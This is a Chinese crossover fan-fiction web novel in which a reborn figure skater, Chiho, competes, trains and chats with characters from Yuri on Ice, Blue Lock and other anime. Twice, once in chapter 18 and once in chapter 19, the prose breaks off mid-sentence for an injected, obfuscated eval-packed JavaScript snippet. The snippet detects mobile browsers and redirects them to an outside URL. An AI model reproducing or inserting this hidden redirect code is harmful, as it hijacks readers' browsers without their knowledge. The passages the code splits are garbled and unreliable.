【Riley:难得加上日本选手、还是有机会和我用四周跳竞争的选手,我太高兴了~】 【Riley:很期待你能赢过我呢,毕竟我明年就退役了,这是最后的机会哦】 这回轮到千穗愣住了。 ……不愧是金牌得主,理所当然地认为自己是她追赶的目标吗? 她感受到了,莱莉那符合原著邀请明浦路司加入她的俱乐部、或者说挖墙脚时那微妙的傲慢。 但这下她反而安心了。 ——【Chiho:那你就等着在我赢得金牌后安心退役吧】 傲慢的,可不止是莱莉啊。 18. 出发前 莱莉回了个“好哦”。 然后又和洁千穗东扯西扯、聊了一会儿。 千穗才知道她本来打算今年就退役的,说是“毕竟最重要的金牌都拿到了,该去追寻其他梦想了~”,但是因为还没成年只能下赛季了。 千穗知道她“其他梦想”指的是来岛国建立花滑俱乐部。 ……这个地方到底哪里吸引她了?真是莫名奇妙的设定。 后面问了莱莉说喜欢岛国(尤其是偶像事业)的文化。 千穗:……爱豆立大功。 大概其他原因吧,不过千穗也没那么好奇,跟对方说晚安后就睡了。 顺便回复了某个法国人颇为哲学的问题——答案翻墙去百度的。 ……名字里带“雨果”的都这么文艺吗? 明明洛基也没那么像“洛基”啊。 没错,她有认识《蓝色监狱》的两个角色,还是那什么“十一杰”,就今年二月在法国被抢劫时碰见的。 以往千穗在国外走大街上不可能碰到抢劫之类的事,因为系统会给那些人下心理暗示让他们下意识忽略她。 结果二月份在法国逛街遇到扒手,千穗当时就觉得事情不简单。 她先是因系统提醒注意到刚擦肩而过的小偷,下意识伸手准备夺回手机,然后事情就从遭遇偷窃变成了遭遇抢劫。 本来她都准备给小偷来个断子绝孙脚了,旁边一个黑人小伙——就是朱利安.洛基——上来就把小偷制服、把手机还给她。 然后在她接过手机准备道谢的时候,小偷又跑了,跑的时候刚好撞上雨果、还骂了雨果几句脏话。 于是小偷理所当然被教训了。 然后他们仨就这么顺理成章地认识了,恰逢饭点千穗请他们吃饭后还相互交换了社交媒体(三个运动员吃了一顿非常健康的午餐)。 ——【就说我不会害你的吧?】白鸦略带嘚瑟。 [是是是,不愧是你。] 话说洛基比她还小一岁来着,雨果年长点,都才刚在他们本国的球场上崭露头角…… 《蓝色监狱》的剧情三年后就正式开始啊。 * 洁千穗在思绪乱飞中睡着了。 第二天给维克托展示了她和雷奥尼多聊过后改编的女单版三周跳《爱即EROS》。 有勇利珠玉在前,本来就尚未找到演绎思路的千穗只能说堪堪及格。 由于现阶段维克托勉强也算她的教练,他出于相应的责任建议千穗正式比赛还是用《Agape》更保险。 千穗当然清楚孰轻孰重,对此没有异议。 “千穗自由滑的编舞准备好了吗?”维克托随即询问另一件更重要的事。 千穗点点头,“嗯,和雷奥尼多一起编排好了,音乐选择电影《红磨坊》中片段《El Tango de Roxanne》。” “哦?很经典的曲目呢……”维克托了然,“不过我记得冰舞和双人滑用这个更多吧?看来依旧想挑战一下新风格啊。” “当然,我们所要追求的不就是让观众和裁判大吃一惊吗?” 千穗理所当然道。 然后开始了解一起训练的胜生勇利的进度。 “胜生君的自由滑选曲决定好了吗?我记得你是让他自己选曲来着……” “这个啊,才过去一天,他还在纠结,不急——”维克多笑眯眯略过这个话题。 “倒是雅科夫有没有催你去俄罗斯?尤里应该已经下飞机了吧,有联系你吗?” 很自然地开始询问其他事情了呢。 千穗上下打量了他一眼。 维克托笑容不变。 “……雅科夫让我自己考虑清楚就行、尤里已经下飞机奔向训练场了。” “听说你和莱莉加上好友了?”他继续问。 “对,昨天聊了聊,我说我一定对赢她的。” 千穗心说,不愧是花滑圈一哥、情报可真灵通。 “不错,很有斗志。” 维克托不知道是走心还是不走心地夸了一句。 然后千穗就继续训练了。 维克托也继续去找纠结选曲的勇利了。 . 经历一番波折,《Yuri On Ice》如期诞生后,胜生勇利又要开始为赢下中四国九州大赛、获得出战大奖赛的名额做准备了。 而作为前两赛季全日锦标赛、GJPF、JWC金牌得主,洁千穗完全不用担心大奖赛名额。 所以她可以在选拔赛坐观众席看胜生勇利比赛。 并被已经和她混熟的奥川老师还有西郡一家拉着一起加油(这几位最支持的男单选手就是勇利,女单就是千穗了)。 毫无意外,胜生勇利成功拿下大奖赛名额了。 而另一边的尤里,再次被雅科夫邀请的莉莉娅带着特训了。 去年大概是因为千穗的加入,雅科夫提前邀请过莉莉娅这位波修瓦芭蕾舞团的前首席(兼他的前妻),让她帮千穗和尤里特训过。 尤里算是比原剧情线更早地认识了莉莉娅。 不过,虽然去年莉莉娅夸了两人的身体素质,但她主要是带千穗进行芭蕾和相关艺术表现的训练,侧重是芭蕾美学中的优雅与克制。 因为尤里当时明显对这些偏内敛柔美的教学不感兴趣,也没有一定要学这个的必要,他只学了芭蕾的一些舞步、还有与花滑互通的肢体展现课程。 总之是没那么配合莉莉娅的教学,只学了前期课程。 当时的雅科夫和莉莉娅对此也没意见。 但现在不一样了。 尤里可是答应了莉莉娅,为了获得胜利愿意出卖灵魂、“这个身体从上到下我都交给你了”呢。(*此处引号内为原台词) 米拉向千穗实时播报尤里新变化、作为他嘲讽自己和曲球棍运动员分手的小小报复。 尤里自己也会吐槽并放狠话说自己一定会赢的。 (不知道原著几个外国人是怎么交流的,但现在的世界线是由于千穗在雅科夫那里训练,雅科夫组的几个基本都会点日语) 【米拉:不过小千,维克托现在是不是也算你现在的教练?雅科夫没找你吗?】 【Chiho:算吧,名单上总得填个教练,这次也确实是和维克托同行、受他指导的】 【米拉:哎?】 【米拉:维克托真的有认真在当教练吗?】 【Chiho:虽然一开始确实是为了自己突破才来当教练,但他现在越来越认真了哦】 【Chiho:当然反正他的重心也不是我,他认不认真与我无关】 对面过了好一会儿才回复。 【米拉:真神奇啊】 【米拉:你也是,给人一种完全不需要教练的感觉】 ……解锁系统实时功能,她确实不太需要教练。 千穗心虚地想。 对面的消息继续发送。 【米拉:不过,亲爱的小千,不要只盯着莱莉哦】 【米拉:别忘了我也将和你同台竞争,小看前辈可不行】 千穗会心一笑。 【Chiho:当然】 【Chiho:我和尤里的目标一样,要把成年组的前辈们都打败呢!】 【米拉:哈哈,那就比赛见!】 . 十一月。 洁千穗坐在温泉旅馆的回廊上,膝盖上摊着手机,脚边放着已经收拾好的行李箱。明天一早,她就要和维克托、勇利一起飞往中国,参加成年组大奖赛的第一站。 手机屏幕亮着,是糸师冴的对话框。 她盯着那个熟悉的头像看了两秒,开始打字。 【Chiho:下个月总决赛,有时间吗?】 发完之后,她犹豫了一下,又补充了一句: 【Chiho:我知道你训练忙,没空就算了】 发完她就后悔了。 什么叫“没空就算了”?明明上半年拿世青时,他说过会来看的。 她正想着要不要撤回,对面已经回复了。 【Sae:有】 只有一个字。 但千穗盯着那个字看了两秒,嘴角不自觉地弯起来。 【Chiho:真的?】 【Sae:嗯,去年答应过要看你比赛的】 【Chiho:行,到时候我给你留票】 【Sae:好】 千穗想了想,又发了一条: 【Chiho:这次是中国站,你来不了吧?】 【Sae:有训练,而且距离太远】 【Chiho:没关系,反正总决赛见】 【Sae:嗯】 【Chiho:你就这么确定我能进总决赛?】 【Sae:……】 【Sae:如果你连这都做不到,还会邀请我看比赛?】 千穗看着那三个字,笑出了声。 明明是在夸她,偏要用这种反问的语气。 【Chiho:行行行,那你就等着看吧】 【Sae:嗯】 【Chiho:对了,你那边冷吗?去年送的围巾还好用吧?】 【Chiho:今年的生日礼物收到了吗?怎么样?】 【Sae:刚降温,围巾已经用了一年了】 【Sae:礼物你问过了】 千穗愣了一下,翻了翻聊天记录——哦,她寄出去的第五天就问了,不过当时他还没收到。 后面就忘记再问了,他也没主动说。 【Chiho:那我再问一遍不行吗】 【Sae:……行】 【Chiho:那你的答案呢】 【Sae:收到了,昆布茶很新】 【Sae:但《樱桃小丸子》的原画稿……为什么要送我这个?】 【Chiho:哼哼,你之前不是说过闲暇时会看这个吗?这可是我特意找樱桃子老师签名要来的画稿哦!】 对话框安静了几秒。 【Sae:你什么时候认识作者的?】 【Chiho:我的人脉你懂的】 【Chiho:而且樱桃子老师可是来看过我比赛的!】 千穗等着对面的震惊或夸奖。 结果冴过了很久才发了一句—— 【Sae:谢谢,你费心了】 千穗、千穗突然有点不习惯他的道谢。 就,虽然从小到大这人说话都比较直白,而且对她也几乎没毒舌过……但她就是突然觉得变扭。 【Chiho:哈哈,不用谢~】 【Chiho:你训练加油,维克托叫我了,先不聊了】 【Sae:嗯】 【Sae:巴塞罗那见】 千穗把手机收进口袋,抬头看向远处的山峦。 夕阳把天空染成橙红色,温泉的热气在暮色中升腾。 她深吸一口气,站起身,拖着行李箱往房间走。 . 第二天一早,福冈机场。 洁千穗拖着行李箱走进出发大厅的时候,一眼就看见了那群熟悉的身影。 胜生家、西郡家、奥川美奈子——几乎半个小镇的人都来送勇利了。真利姐姐举着“勇利加油”的应援牌,西郡豪和优子带着三胞胎站在旁边,奥川美奈子拉着勇利叮嘱。 而她这边—— “姐姐!” 洁世一从人群中冲出来,一把抱住她。 千穗被撞得往后仰了一下,伸手揉揉他的脑袋:“喂喂,多大的人了。” “是姐姐说不管多大都可以抱的!”世一理直气壮,然后又松开她,上下打量,“姐姐好像又瘦了?是不是没好好吃饭?” “吃了吃了。”千穗无奈,“倒是你,怎么感觉又长高了?” 世一不好意思地挠挠头:“我现在比姐姐高半个头了!” 千穗:“……” 确实。 明明去年还能平视,现在她得微微仰头才能看清他的脸。 世一站在千穗面前,脸上带着那种家人特有的、既骄傲又舍不得的表情。 “姐姐,我11月份还没放假,不能去看你比赛了。”他顿了顿,眼睛却亮起来,“但是爸妈说了,等12月份放假,我们就去西班牙看总决赛!” 千穗愣了一下。 “真的?” “真的!”世一使劲点头,“票都买好了!妈妈定的!” 旁边的洁母笑着走过来,把一个小袋子塞进千穗手里。 “路上吃的,自己做的饭团和点心,别老吃机场的东西。” 千穗低头看着那个袋子,忽然觉得眼眶有点热。 “妈……” “好了好了。”洁母拍拍她的手,“多大的人了,还撒娇。” 千穗:“……” 她明明什么都没说。 旁边的洁父走过来,笑呵呵道:“到了记得发消息。” “嗯。” 千穗把袋子收好,忽然想起什么,看向世一。 “对了,你12月份来的时候,可以带上凛一起。” 世一眨眨眼。 “凛?” “嗯。”千穗点点头,“冴应该也会来看比赛,刚好让他们兄弟见一面。” 世一的眼睛立刻亮了。 “好主意!我现在就问他!” 他说着就掏出手机开始打字。 千穗看着他那个兴奋劲儿,忍不住笑。 旁边,经纪人北野宁宁走过来,手里拿着登机牌和证件。 “千穗,差不多该过安检了。” 千穗点点头,接过证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326696|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件,又看了一眼周围。 然后她愣住了。 出发大厅的入口处,一群人正浩浩荡荡地走过来。 走在最前面的是迹部景吾,银灰色的西装外套着件长款大衣,整个人散发着“我很有钱”的气场。旁边跟着忍足侑士,依旧是那副温文尔雅的样子。再后面—— 孤爪研磨,还有他的幼驯染黑尾铁朗。 千穗眨眨眼。 她和研磨是在东京打游戏认识的,后面再慢慢认识了他的幼驯染黑尾。千穗又在宫城训练时认识了及川牛岛,也因此那三年春高什么的她都特意去看了(虽然也有刷系统任务的因素)。 研磨冲她挥了挥手——幅度很小,但确实在挥。 黑尾则是一如既往地开朗,老远就喊:“哟——千穗——我们来送你了——” 周围的人纷纷侧目。 千穗:“……” 她深吸一口气,快步迎上去。 “你们怎么来了?” “当然是来送你的啊。”迹部理所当然地说,上下打量她一眼,“听说你要去中国参加大奖赛第一站,正好今天来九州有点事,顺便就来了。” “顺便?” “顺便。”迹部面不改色。 旁边的忍足轻笑一声,小声说:“他专门从东京赶过来的。” 迹部瞪他一眼。 忍足耸耸肩,假装什么都没说。 千穗看着他们,一时间不知道说什么好。 “那个……”她顿了顿,“谢谢。” “不用谢。”迹部摆摆手,“反正我也投资你了,你拿金牌我也有面子。” “……” 不愧是迹部。 旁边,黑尾走过来,大手在她脑袋上揉了一把。 “好好比啊,回来请我们吃饭。” 千穗躲了一下没躲开,无奈道:“知道了知道了。” 研磨站在黑尾旁边,手里拿着手机,屏幕上是一只猫瘫倒的表情包。 “加油。”他说,顿了顿又补充,“不过别太拼命。” 千穗瞥见了那个表情包,笑出了声。 “知道了,谢谢研磨。” 研磨点点头,往后退了一步。 这时,人群中又走出两个人。 赤司征十郎。 还有藤原愁。 ——这两位也是从迹部的社交圈扩展的。 千穗看见他们不可避免地愣了一下。 “你们也来了?” 赤司微微一笑,那双赤红的眼睛在灯光下显得格外温和。 “刚好在东京有事,听说迹部要过来,就跟着一起来了。” 旁边的藤原愁点点头,语气一如既往地温和:“比赛加油。” 千穗看看赤司,又看看藤原愁。 这两个人,虽然都一个圈的,也算认识,但平时也不怎么一起行动,今天居然一起来了……? 她狐疑地看向迹部。 迹部面不改色。 “……行吧。”千穗决定不问了。 反正这群人的世界她不太懂。 但能成为可以来送行,她果然很开心啊。 千穗嘴角不自觉上扬。 尤其是,她看见,人群中还有几个熟悉的身影。 高峰教练就站在稍远一点的地方,看见千穗看过来,朝她点了点头。 千穗快步走过去。 “高峰教练!” “嗯。”高峰匠看着她,留有伤疤的脸上带着淡淡的笑容,“要加油。” 千穗点点头。 她有很多话想说,想问问他最近教的新学生(就是明浦路司)如何,但到了嘴边,只变成一句: “谢谢您。” 高峰教练拍拍她的肩膀,没再说什么。 旁边,鴗鸟慎一郎也来了,还带着理依奈和理凰。 “千穗姐姐!”理凰使劲挥手。 千穗笑着冲他挥挥手。 鴗鸟慎一郎走过来,表情认真。 “比赛加油,我会看直播的。” “谢谢慎一郎前辈。” 千穗又看向站在他旁边的鯱城理依奈——虎鲨小姑娘眼睛亮亮的,超级开朗笑。 “千穗姐姐,我会为你加油的!” 千穗微微弯腰,和她平视。 “谢谢理依奈,你也要加油训练哦,期待你Junior组的表现。” “嗯!”理依奈认真地点点头。 旁边的蜻堂绯纱子走过来,帮千穗整理了一下衣领。 “我就不跟你们去了,荒川那边还有学生要带。”她说,“不过比赛我会看的,加油。” 千穗点点头。 “谢谢绯纱子姐。” 蜻堂笑了笑,退到一边。 北野宁宁看了看时间,走过来小声说:“千穗,真的该走了。” 千穗点点头,转身看向这群来送她的人。 迹部、忍足、黑尾、研磨、赤司、藤原愁、高峰教练、鴗鸟慎一郎、蜻堂绯纱子、夕凪、理凰—— 还有她的家人。 世一站在最前面,手里还举着那个手工应援扇,扇子上的字换成了“中国站加油”,那只白色乌鸦画得越来越可爱了。 “姐姐!”他喊,“记得拿金牌!” 千穗笑了。 “知道了。” 她挥挥手,转身往安检口走去。 走出几步,又回头看了一眼。 那群人还站在那里,朝她挥手。 千穗看着他们,忽然想起刚才赤司说的那句话—— “我们已经放弃运动爱好转向继承家业了,所以很乐意帮你追梦。” 很乐意帮你追梦。 她深吸一口气,转身走进安检通道。 . 飞机起飞的时候,千穗靠在窗边,看着窗外逐渐变小的城市。 手机已经关机了,但她的脑海里还浮现着刚才那些人的脸。 迹部,忍足,黑尾,研磨,赤司,藤原愁。 还有高峰教练,鴗鸟慎一郎,蜻堂绯纱子,理依奈,理凰。 还有爸爸妈妈和世一。 她忽然觉得自己很幸运。 上辈子,她到最后什么都没有了。 这辈子,她有这么多人。 有这么多人愿意支持她、帮助她、送她追梦。 飞机穿过云层,窗外变成一片白茫茫的云海。 千穗靠在座位上,闭上眼睛。 中国站。 成年组大奖赛第一站。 她准备好了。 . 【刚才那个场面,我帮你拍照了】 千穗愣了一下。 【要看看吗?】 她想了想。 [发我手机里吧,下飞机看] 【好】 19. 金牌 虽然洁千穗很想早点和莱莉同台竞争,但很遗憾莱莉赢下美国站金牌后、是去法国站来着。 而她是跟着勇利他们去中国站和俄罗斯站。 分站倒也无所谓,关键还是总决赛。 只是即使是分站,她也一定会拿下第一的。 ——“尤里奥在加拿大输给了让·雅克·勒鲁瓦吗?” 早就知道这点的千穗其实不是很惊讶。 “第一次参加成人组赛事就拿第二倒也不算输吧?不过那小子可是很不爽呢。” 听筒模式下,米拉的声音从手机里传来,语气带着点无奈。 “嘛,那我可更要拿第一了。” “如果这样,那个日本选手再拿第一,尤里就要把自己气死了~”米拉调侃道。 “嗯…应该不会,毕竟只要最后的总决赛拿金牌就行了。” 千穗边收拾自己的行礼边回她。 米拉的声音静了两秒。 “……我怎么感觉你比尤里本人还自信?” “大概是我对自己也很自信?” 千穗随口答道。 她将冰鞋放好,伸手取出衣兜里的手机。 “我要下楼吃饭了,先挂了,拜拜~” “好吧好吧,拜拜~” 千穗挂了电话。 比赛是明天男单先比,维克托今天邀请她一起去吃火锅来着。 她不太赞成还没比赛就下馆子,尤其知道是原著里维克托还喝醉了后。 即使她也真的好想吃火锅煎饼果子小杨生煎糖醋排骨水晶虾仁红烧狮子头…… “可恶啊越想越馋!!!” . 总之最后还是去火锅店了。 千穗在维克托他们旁边桌给自己点了个清汤加番茄的鸳鸯锅。 以前都只能用改良版寿喜锅(原版寿喜锅是甜的)代替、或者专门到唐人街吃,现在终于让她吃到本土正宗版了。 而看着她全程无障碍交流点餐的维克托桌很是惊讶。 “千穗还会中文啊?”勇利惊叹。 在同一个地方训练了半年多,两人也是终于将称呼从客气的“胜生先生/洁选手”升级到更亲近的“勇利/千穗”了。 “我还会西班牙语、法语呢。” 这辈子+上辈子一起算,她会的语言可是有足足六种(都怪她那个天坑专业)。 “哇,好厉害。”旁边的披集感慨。 最后这顿火锅千穗一个人一桌,严格按照白鸦提供的动态指数控制饮食摄入量,在维克托和勇利的前教练切雷斯蒂诺喝醉后及时离开。 并且特意告诫披集别把拍的照片发网上。 发了也记得打马赛克(虽然没啥用)。 . 后面,男单的比赛千穗在看台,除了欣赏不来克里斯托夫的风格、和觉得二师兄格奥尔基融入的情感(失恋的男人太可怕了)实在诡异外,对胜生勇利的表现没啥特别感谢。 当然最后维克托亲吻胜生勇利的画面她可是极限抓拍。 等到女单比赛,虽然千穗名义上的教练是维克托,但实际在K&C区等她的还是雅科夫、经纪人北野。 毕竟本来就是勇利更需要他,而且—— “赛前让本来就容易紧张的选手寻找、结果自己就是去换了身衣服什么的,作为教练可太不合格了。” 千穗毫不留情地批评道。 “作为你的学员,那位日本选手可太可怜了。” 雅科夫在旁边附和。 勇利或许觉得没问题、并且由于崇拜下意识忽略这些,但千穗和雅科夫可不会惯着维克托。 “哎……”维克托看着有点茫然。 千穗心说总算等到这一天了—— “而且正常的教练也不会亲吻选手吧。” “哼。”雅科夫在旁边露出了相当复杂的表情,类似于胃痛+牙酸。 维克托难得有点心虚,“哈哈,那千穗就交给雅科夫了~” “我就先去看勇利比完状态怎么样了!” 千穗和雅科夫同时摆了摆手,让他赶紧走吧。 . 千穗分站也是金牌,虽然自由滑的《红磨坊》演绎不太完美,分数和第二名只差一分不到。 但短节目意外地出彩。 短节目和尤里一样是《Agape》、但细节和跳跃动作不同,给人呈现差异化的独特风味。 白金配色的考斯滕、背部的羽毛设计……头顶的纯金桂冠是迹部赞助的,真正的金子,轻得不可思议,戴上之后却让人觉得沉甸甸的。 配合这套装扮,她的《Agape》和尤里那版当然不同—— 尤里的版本是“源于爷爷的无私的爱”, 千穗原本的感情也是和他一样的来源于家人的爱。 但她又想到了更多、更多更多的爱。 观众席,勇利喃喃道出心声:“……神爱世人吗?” 维克托坐在他旁边,轻轻摇了摇头。 “很接近,但不对。”他说,声音比平时低了一点,“千穗不想和尤里太相似,所以我们调整了《Agape》的导向。” 勇利转头看他。 维克托的目光落在冰面上那个白金配色的身影上,蔚蓝色的眼睛里带着某种复杂的情绪。 “尤里奥的《Agape》是‘给予’——把他从爷爷那里得到的爱,通过冰面给予观众。”他说,“但千穗的《Agape》是‘承载’。” “……承载?” “嗯。”维克托点点头,“她滑的不是‘我爱世人’,而是‘世人爱我,所以我承载着这份爱站在这里’。” 勇利愣住了。 他看向冰面。 千穗正朝观众席挥手,脸上带着淡淡的笑意。 ……那是一种很平静的、很笃定的、知道自己被爱着的笑容。 “原来如此……”勇利喃喃。 “而且,”维克托顿了顿,语气里带了点感慨,“我也没想到会这么成功。” 他转向勇利,那双眼睛里有光在闪。 “如果《EROS》的演绎也能做到同水平,她最后大概会换短节目。” 勇利愣了一下。 “换短节目?” “嗯。”维克托点点头,“千穗本来就更喜欢《EROS》的编舞,只是暂时找不到合适的演绎方式。如果她能突破那层——” 他顿了顿,嘴角弯起来,“那女单总决赛的赛场,可能会更精彩了。” 勇利沉默了两秒。 然后他轻声说:“千穗真的很厉害啊。” 维克托看了他一眼,没说话。 只是伸出手,在他脑袋上揉了一下。 “勇利也很厉害哦~” . 千穗是跟着雅科夫和格奥尔基一起先回俄罗斯、然后一同去莫斯科的。 (她表示自己不想当电灯泡了) 见到了很不爽没有赢过JJ的尤里和阔别已久的莉莉娅。 “莉莉娅~”千穗上去就是一个大大的拥抱。 “好久不见,千穗。”莉莉娅很坦然地回抱了她。 等千穗松开莉莉娅时,余光瞥见尤里站在两步开外,双手插在口袋里,一副“你们抱你们的跟我没关系”的表情。 但那双蓝绿色的眼睛明显在往这边瞟。 千穗走过去,在他面前站定。 “不抱一下?” 尤里的脸以肉眼可见的速度涨红。 “谁、谁要抱啊!” “真的不抱?” “不抱!” “哦——”千穗拖长声音,然后趁他不注意,伸手在他脑袋上狠狠揉了一把。 “你——!” 尤里跳起来想躲,但千穗已经收回手,笑眯眯地看着他。 “手感不错,没白养。” “谁是你养的!” 旁边的米拉笑出了声。 格奥尔基和雅科夫从后面走过来,和几个人招手打招呼。 “欢迎回来~”米拉上前拍了拍格奥尔基和千穗。 “嗯嗯~”千穗笑着也抱了抱她。 尤里在旁边“切”了一下。 “千穗。”雅科夫叫她。 “怎么了,教练?”她回头。 老爷子双手插兜,表情一如既往地严肃。 但千穗认识他这么多年,看得出那双眼睛里的情绪。 他语气平和地开口继续道: “短节目不错,自由滑还有提升空间,回到我这边就继续练吧,莉莉娅会帮忙的。” 千穗点点头。 “我知道了。” 雅科夫看了她一眼,没再多说什么,只是伸手在她肩上拍了拍。 很重。 但千穗知道,那是肯定的意思。 . 由于千穗的加入,雅科夫组的行程发生了一些改变,提前到达莫斯科,然后预约了赛前训练的小冰场。 他们一行人拖着行李往外走。 莫斯科的十一月已经很冷了,机场出口的玻璃门外是灰白色的天空,呼出的气变成白雾。 千穗裹紧外套,跟在雅科夫后面。 尤里走在旁边,依旧双手插兜,表情拽得二五八万。 但千穗注意到,他走路的步子刻意放慢了一点,刚好和她保持一致。 嗯……看来她提前一步拿到金牌,没有让他更不爽,真是太好了~ . 上车之后,千穗掏出手机。 信号满格。 她先给家里发了条消息: 【Chiho:到莫斯科了,平安落地】 几乎是秒回。 【小草:太好了!!!姐姐比赛辛苦了!!!】 【小草:我看了直播!短节目好漂亮!那个桂冠超适合姐姐!】 【小草:自由滑也很厉害!虽然那个法国人分数追得很紧但是姐姐还是赢了!】 【小草:妈妈说你一定要吃好喝好!爸爸也说让你注意身体!】 千穗看着那一连串消息,嘴角弯起来。 【Chiho:好,谢谢爸爸妈妈】 【Chiho:你们那边几点了?还没睡?】 【小草:刚放学回家!妈妈在做饭,爸爸还没下班】 【Chiho:那你快去写作业】 【小草:……】 【小草:姐姐,你才刚落地就开始催我写作业吗】 【Chiho:不然呢?】 【小草:好吧】 【小草:我去写作业了】 【小草:对了,凛说冴哥最近训练挺忙的,没什么消息,让你别担心】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326697|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 千穗愣了一下。 她什么时候说过担心了? 【Chiho:我没担心】 【小草:……】 【小草:行吧】 【小草:我去写作业了,姐姐好好休息!】 千穗看着那个“行吧”,总觉得世一好像误会了什么。 但她没多想,退出对话框,点开另一个人的头像。 【Chiho:到莫斯科了】 发完之后,她盯着屏幕等了一会儿。 对面没回复。 她又发了一条: 【Chiho:你那边几点了?还在训练?】 还是没回复。 千穗想了想,把手机收进口袋。 可能是真的在训练吧。 . 车子驶入莫斯科市区。 窗外的风景从灰白色的郊区变成灰白色的建筑,偶尔能看见几个裹得严严实实的行人在路边匆匆走过。 米拉坐在她旁边,正在刷手机。 “哎,”她忽然出声,“千穗,你那个《Agape》的视频,在网上很火呢。” 千穗愣了一下。 “什么?” “就你短节目的视频啊。”米拉把手机递过来,“你看,才几天,光油管的播放量就已经破百万了,评论区都在夸你。” 千穗接过手机,扫了一眼评论区。 俄语的、英语的、还有她看不懂的其他语言的—— 【这个日本选手是谁?滑得太美了!】 【和Yuri一样的《Agape》吗?居然还能这样演绎!完全不同风格!】 【那个桂冠是真的金子吗?好闪!】 【她的考斯滕好漂亮,背部的羽毛设计太绝了】 【看完她的版本,再看尤里的版本,感觉像是同一种情感的两面】 千穗:“……” 她把手机还给米拉。 “还行吧。” 米拉看着她,表情微妙。 “你这反应……也太淡定了吧?” “不然呢?”千穗反问,“跳起来欢呼?” 米拉想了想那个画面,忽然笑出声。 “也是,你一向这样。” . 他们先到旅馆办理入住,放行李。 然后吃一顿午饭,几位选手被教练强制要求午睡(主要是千穗,尤里和爷爷回家住了)。 午睡结束,才能带着训练服和冰鞋去雅科夫预约好的冰场。 千穗换好训练服站在冰场边缘时,尤里已经在冰上了,正在练跳跃。 4S,落冰。 4T,落冰。 3A,落冰。 一连三个跳跃,全部干净利落。 千穗站在挡板边,看着他。 尤里滑了一圈回来,在她面前停下。 “看什么?” “看你啊。”千穗理所当然地说,“跳得不错。” 尤里愣了一下,然后别过脸去。 “哼,那是当然。” 千穗笑了一下,踏上冰面。 . 冰刀切过冰面的声音,沙沙的,熟悉的。 她滑了两圈,活动开身体,然后开始练习跳跃。 先是一个3A。 起跳、腾空、旋转、落冰——完美。 然后是4S。 左后内刃切入冰面,膝盖蓄力,摆臂,腾空—— 落冰的瞬间,她感觉到膝盖传来的冲击比平时大一点。 但稳稳地站住了。 她滑出弧线,深吸一口气。 还行,状态没掉。 尤里滑到她旁边,表情略显复杂。 “……你体力恢复得真快。” “还行吧。”千穗活动了一下肩膀,“落地之后睡一觉就差不多了。” 尤里“啧”了一声,没再说话。 不久,雅科夫带着米拉到场,勒令两个人(尤其是千穗)后面的训练时间不准跳四周。 “才刚下飞机没休息好不准做这种危险的动作!”老爷子在冰场边缘大吼。 “好啦好啦~”千穗摊手。 . 等晚上回到住处,千穗洗完澡,躺在床上,掏出手机。 糸师冴的消息终于回复了。 【Sae:刚才在训练,刚结束】 【Sae:到了就好】 只有两条。 但千穗盯着那两条消息看了两秒,嘴角不自觉地弯起来。 【Chiho:训练结束了?我怎么感觉你的训练时间变了?】 【Sae:嗯,圣诞节快到了,新改了时间表】 【Chiho:原来如此,那你早点睡吧】 【Sae:好,你也是,刚到莫斯科注意调整时差】 【Chiho:嗯嗯嗯,不过我以前在莫斯科待的时间也不短,这点倒不用担心啦】 【Sae:你今年大部分时间都日本,还是要注意点】 千穗忍不住笑起来。 【Chiho:知道了~谢谢冴教练】 【Sae:……】 【Sae:睡了】 【Chiho:好,晚安~】 对面没再回复。 但千穗知道,他肯定看见了。 20. 朋友们 第二天一早,千穗是被手机震醒的。 她眯着眼睛摸过来,看见屏幕上跳出一条新消息。 【Yuri:起床没?来训练】 千穗看了眼时间——早上六点十五。 【Chiho:……现在?】 【Yuri:不然呢?】 【Yuri:雅科夫说七点半开始,但我想加练】 【Yuri:你来不来?】 千穗盯着那几条消息,沉默了两秒。 然后她叹了口气,起身穿衣服。 ……这小子,精力真旺盛。 . 冰场的早晨很安静。 千穗推开门的瞬间,冷气扑面而来。 尤里已经站在冰上了,正在压腿。 看见她进来,他点了点头,算是打招呼。 千穗换好冰鞋,踏上冰面。 “你这么早叫我起来,就是为了加练?” “嗯。”尤里理所当然地说,“快要比赛了,多练练。” 千穗看着他。 金色的头发在冰场的灯光下几乎反光,那张精致的脸上写满了认真。 她心里感慨,尤拉奇卡虽然平时傲娇得要命,但对待花滑,是真的很认真。 “行。”她说,“陪你练。” . 两个人开始在冰上各自练习。 尤里练他的4S和4T,千穗练她的三周和衔接步法。 偶尔对视一眼,偶尔交换几句简短的评价。 冰场的灯光十分明亮,两个人的影子在冰面上也格外清晰。 窗外,莫斯科的早晨正在慢慢苏醒。 而冰场上,只有冰刀切过冰面的沙沙声,和两位运动员时不时的讨论。 . 七点一刻时,雅科夫推门进来。 看见冰上的两个人,他愣了一下。 然后脸上浮现出那种千穗熟悉的、欣慰但又憋着什么的复杂表情。 “……你们俩,加练?” “嗯。”尤里头也不回。 “嗯。”千穗点头。 雅科夫沉默了两秒。 然后他什么都没说,转身走向教练席,开始准备今天训练的内容。 但千穗看见,他转身的时候,嘴角好像弯了一下。 . 七点半,米拉和格奥尔基也来了。 看见冰上的两个人,米拉露出了“果然如此”的表情。 “我就知道。”她说,“尤里肯定把千穗拉起来加练了。” “不是我拉的。”尤里反驳,“她自己愿意来的。” 